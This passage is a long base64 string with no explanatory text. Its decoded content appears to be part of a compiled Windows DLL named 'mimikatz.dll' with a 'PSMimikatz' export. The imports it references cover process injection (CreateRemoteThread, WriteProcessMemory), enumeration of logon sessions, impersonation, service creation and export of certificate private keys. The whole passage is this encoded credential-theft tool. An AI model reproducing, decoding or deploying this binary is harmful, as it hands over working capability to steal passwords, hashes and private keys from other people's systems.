wAAVwBDbG9zZVNlcnZpY2VIYW5kbGUAANoARGVsZXRlU2VydmljZQD5AU9wZW5TQ01hbmFnZXJXAAD7AU9wZW5TZXJ2aWNlVwAAyQJTdGFydFNlcnZpY2VXAFwAQ29udHJvbFNlcnZpY2UAAAEBRW51bVNlcnZpY2VzU3RhdHVzRXhXAIABSXNUZXh0VW5pY29kZQDFAENyeXB0R2V0S2V5UGFyYW0AAMcAQ3J5cHRHZXRVc2VyS2V5AIwAQ3JlZEZyZWUAAIkAQ3JlZEVudW1lcmF0ZVcAAC0CUmVhZEVuY3J5cHRlZEZpbGVSYXcAAFUAQ2xvc2VFbmNyeXB0ZWRGaWxlUmF3AB8CUXVlcnlSZWNvdmVyeUFnZW50c09uRW5jcnlwdGVkRmlsZQAAHgFGcmVlRW5jcnlwdGlvbkNlcnRpZmljYXRlSGFzaExpc3QALAJRdWVyeVVzZXJzT25FbmNyeXB0ZWRGaWxlAPQBT3BlbkVuY3J5cHRlZEZpbGVSYXdXAHMBSW1wZXJzb25hdGVMb2dnZWRPblVzZXIAbgJSZWdRdWVyeVZhbHVlRXhXAABhAlJlZ09wZW5LZXlFeFcAMAJSZWdDbG9zZUtleQBoAlJlZ1F1ZXJ5SW5mb0tleVcAAE8CUmVnRW51bUtleUV4VwCQAlJldmVydFRvU2VsZgAAgQBDcmVhdGVTZXJ2aWNlVwAAQURWQVBJMzIuZGxsAAA5AlBvc3RUaHJlYWRNZXNzYWdlVwAApAFHZXRXaW5kb3dUaHJlYWRQcm9jZXNzSWQAAPIARW51bVdpbmRvd3MAJgNXYWl0Rm9ySW5wdXRJZGxlAAARA1VwZGF0ZVdpbmRvdwAAvgFJbnZhbGlkYXRlUmVjdAAAVVNFUjMyLmRsbAAAHgBHZXRVc2VyTmFtZUV4VwAAKgBMc2FGcmVlUmV0dXJuQnVmZmVyACsATHNhR2V0TG9nb25TZXNzaW9uRGF0YQAAKQBMc2FFbnVtZXJhdGVMb2dvblNlc3Npb25zAFNlY3VyMzIuZGxsAEsAQ2VydEdldE5hbWVTdHJpbmdXAABXAENlcnRPcGVuU3RvcmUAQABDZXJ0RnJlZUNlcnRpZmljYXRlQ29udGV4dAAABABDZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZQAAEgBDZXJ0Q2xvc2VTdG9yZQAARgBDZXJ0R2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkALwBDZXJ0RW51bVN5c3RlbVN0b3JlABYBUEZYRXhwb3J0Q2VydFN0b3JlRXgAAHoAQ3J5cHRBY3F1aXJlQ2VydGlmaWNhdGVQcml2YXRlS2V5ACwAQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlAENSWVBUMzIuZGxsAGUAUGF0aElzUmVsYXRpdmVXADgAUGF0aENhbm9uaWNhbGl6ZVcAOgBQYXRoQ29tYmluZVcAAFNITFdBUEkuZGxsABsAV1RTT3BlblNlcnZlclcAAAsAV1RTRW51bWVyYXRlUHJvY2Vzc2VzVwAAEgBXVFNGcmVlTWVtb3J5AAAAV1RTQ2xvc2VTZXJ2ZXIAABEAV1RTRW51bWVyYXRlU2Vzc2lvbnNXAFdUU0FQSTMyLmRsbAAABgBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsACUFV3JpdGVGaWxlAI8AQ3JlYXRlRmlsZVcAVwFGbHVzaEZpbGVCdWZmZXJzAAACAkdldExhc3RFcnJvcgAAUgBDbG9zZUhhbmRsZQBiAUZyZWVMaWJyYXJ5AD8DTG9hZExpYnJhcnlXAABzBFNldExhc3RFcnJvcgAARQJHZXRQcm9jQWRkcmVzcwAAGAJHZXRNb2R1bGVIYW5kbGVXAAD5BFdhaXRGb3JTaW5nbGVPYmplY3QAqQBDcmVhdGVSZW1vdGVUaHJlYWQAAIADT3BlblByb2Nlc3MA7QRWaXJ0dWFsRnJlZUV4AOoEVmlydHVhbEFsbG9jRXgAAMABR2V0Q3VycmVudFByb2Nlc3MAwwNSZWFkUHJvY2Vzc01lbW9yeQDwBFZpcnR1YWxQcm90ZWN0RXgAAO8EVmlydHVhbFByb3RlY3QAAC4FV3JpdGVQcm9jZXNzTWVtb3J5AAAlAkdldE5hdGl2ZVN5c3RlbUluZm8AZQBDb25uZWN0TmFtZWRQaXBlAACgAENyZWF0ZU5hbWVkUGlwZVcAAMADUmVhZEZpbGUAAOEARGlzY29ubmVjdE5hbWVkUGlwZQCoAENyZWF0ZVByb2Nlc3NXAAD3AklzQmFkUmVhZFB0cgAAwARUZXJtaW5hdGVQcm9jZXNzAACWA1Byb2Nlc3MzMkZpcnN0VwBbA01vZHVsZTMyRmlyc3RXAACYA1Byb2Nlc3MzMk5leHRXAAC+AENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdAAAXQNNb2R1bGUzMk5leHRXAEgDTG9jYWxGcmVlAF4BRm9ybWF0TWVzc2FnZVcAAKQCR2V0VmVyc2lvbkV4VwC/AUdldEN1cnJlbnREaXJlY3RvcnlXAACOAUdldENvbXB1dGVyTmFtZUV4VwAAwwRUaHJlYWQzMkZpcnN0AMEEVGVybWluYXRlVGhyZWFkAMQEVGhyZWFkMzJOZXh0AACFA09wZW5UaHJlYWQAALoEU3VzcGVuZFRocmVhZAATBFJlc3VtZVRocmVhZAAASARTZXRDb25zb2xlVGl0bGVXAACWAENyZWF0ZUpvYk9iamVjdFcAABYAQXNzaWduUHJvY2Vzc1RvSm9iT2JqZWN0AABMAkdldFByb2Nlc3NJZAAA6ABEdXBsaWNhdGVIYW5kbGUAvwRUZXJtaW5hdGVKb2JPYmplY3QAAPIEVmlydHVhbFF1ZXJ5RXgAALIEU2xlZXAAMQRTZXRDb25zb2xlQ3Vyc29yUG9zaXRpb24AAGQCR2V0U3RkSGFuZGxlAAAoAUZpbGxDb25zb2xlT3V0cHV0Q2hhcmFjdGVyVwCyAUdldENvbnNvbGVTY3JlZW5CdWZmZXJJbmZvAAARBVdpZGVDaGFyVG9NdWx0aUJ5dGUA7wJJbnRlcmxvY2tlZEluY3JlbWVudAAA6wJJbnRlcmxvY2tlZERlY3JlbWVudAAA6QJJbnRlcmxvY2tlZENvbXBhcmVFeGNoYW5nZQAA7AJJbnRlcmxvY2tlZEV4Y2hhbmdlAGcDTXVsdGlCeXRlVG9XaWRlQ2hhcgBpAkdldFN0cmluZ1R5cGVXAADqAEVuY29kZVBvaW50ZXIAygBEZWNvZGVQb2ludGVyAOICSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbgDRAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgDuAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA5A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADPAkhlYXBGcmVlAADLAkhlYXBBbGxvYwDSAkhlYXBSZUFsbG9jAMUBR2V0Q3VycmVudFRocmVhZElkAACGAUdldENvbW1hbmRMaW5lQQByAUdldENQSW5mbwCxA1JhaXNlRXhjZXB0aW9uAAAYBFJ0bFVud2luZAAtA0xDTWFwU3RyaW5nVwAA0wRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAKUEU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAADSXNEZWJ1Z2dlclByZXNlbnQABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AM0CSGVhcENyZWF0ZQAAzgJIZWFwRGVzdHJveQDFBFRsc0FsbG9jAADHBFRsc0dldFZhbHVlAMgEVGxzU2V0VmFsdWUAxgRUbHNGcmVlAOMCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudAAZAUV4aXRQcm9jZXNzABQCR2V0TW9kdWxlRmlsZU5hbWVXAABvBFNldEhhbmRsZUNvdW50AADzAUdldEZpbGVUeXBlAGMCR2V0U3RhcnR1cEluZm9XAGYEU2V0RmlsZVBvaW50ZXIAAGgBR2V0QUNQAAA3AkdldE9FTUNQAAAKA0lzVmFsaWRDb2RlUGFnZQCHBFNldFN0ZEhhbmRsZQAAmwJHZXRVc2VyRGVmYXVsdExDSUQAAAYCR2V0TG9jYWxlSW5mb1cAAAQCR2V0TG9jYWxlSW5mb0EAAA0BRW51bVN5c3RlbUxvY2FsZXNBAAAMA0lzVmFsaWRMb2NhbGUAmgFHZXRDb25zb2xlQ1AAAKwBR2V0Q29uc29sZU1vZGUAANQCSGVhcFNpemUAABMCR2V0TW9kdWxlRmlsZU5hbWVBAABhAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAApwNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgCTAkdldFRpY2tDb3VudAAAwQFHZXRDdXJyZW50UHJvY2Vzc0lkAHkCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAJAVXcml0ZUNvbnNvbGVXAFMEU2V0RW5kT2ZGaWxlAABKAkdldFByb2Nlc3NIZWFwAABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAp10lSAAAAAGzxBAABAAAAAgAAAAIAAABY8QQAYPEEAGjxBADG6gAAg+kAAHnxBACE8QQAAAABAG1pbWlrYXR6LmRsbABQU01pbWlrYXR6AFdTdHJpbmdGdW5jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM5wMQAAAAAC4/QVZlcnJvcl9jYXRlZ29yeUBzdGRAQAAAAAAM5wMQAAAAAC4/QVZfR2VuZXJpY19lcnJvcl9jYXRlZ29yeUBzdGRAQAAAAAznAxAAAAAALj9BVl9Jb3N0cmVhbV9lcnJvcl9jYXRlZ29yeUBzdGRAQAAADOcDEAAAAAAuP0FWX1N5c3RlbV9lcnJvcl9jYXRlZ29yeUBzdGRAQAAAAABI5AMQPOQDEHzkAxBs5AMQoOQDEDzkAxCU5AMQAQAAAAznAxAAAAAALj9BVl9Mb2NpbXBAbG9jYWxlQHN0ZEBAAAAAAAznAxAAAAAALj9BVmxvZ2ljX2Vycm9yQHN0ZEBAAAAADOcDEAAAAAAuP0FWbGVuZ3RoX2Vycm9yQHN0ZEBAAAAM5wMQAAAAAC4/QVZvdXRfb2ZfcmFuZ2VAc3RkQEAAAP////8M5wMQAAAAAC4/QVY/JGJhc2ljX2ZpbGVidWZAX1dVPyRjaGFyX3RyYWl0c0BfV0BzdGRAQEBzdGRAQAAM5wMQAAAAAC4/QVZjb2RlY3Z0X2Jhc2VAc3RkQEAAAAznAxAAAAAALj9BVj8kY29kZWN2dEBfV0RIQHN0ZEBAAAAAAAoAAAAAAAAAQ29weXJpZ2h0IChjKSAxOTkyLTIwMDQgYnkgUC5KLiBQbGF1Z2VyLCBsaWNlbnNlZCBieSBEaW5rdW13YXJlLCBMdGQuIEFMTCBSSUdIVFMgUkVTRVJWRUQuAAAAAAAAAAAAAAAAAAAuAAAALgAAAEACBRDEIQUQxCEFEMQhBRDEIQUQxCEFEMQhBRDEIQUQxCEFEMQhBRB/f39/f39/f0QCBRDIIQUQyCEFEMghBRDIIQUQyCEFEMghBRDIIQUQSAIFEAAAAAAM5wMQAAAAAC4/QVZ0eXBlX2luZm9AQABAMgUQAAAAAEAyBRABAQAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAIAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1OsDEAAAAAABAAAAFgAAAAIAAAACAAAAAwAAAAIAAAAEAAAAGAAAAAUAAAANAAAABgAAAAkAAAAHAAAADAAAAAgAAAAMAAAACQAAAAwAAAAKAAAABwAAAAsAAAAIAAAADAAAABYAAAANAAAAFgAAAA8AAAACAAAAEAAAAA0AAAARAAAAEgAAABIAAAACAAAAIQAAAA0AAAA1AAAAAgAAAEEAAAANAAAAQwAAAAIAAABQAAAAEQAAAFIAAAANAAAAUwAAAA0AAABXAAAAFgAAAFkAAAALAAAAbAAAAA0AAABtAAAAIAAAAHAAAAAcAAAAcgAAAAkAAAAGAAAAFgAAAIAAAAAKAAAAgQAAAAoAAACCAAAACQAAAIMAAAAWAAAAhAAAAA0AAACRAAAAKQAAAJ4AAAANAAAAoQAAAAIAAACkAAAACwAAAKcAAAANAAAAtwAAA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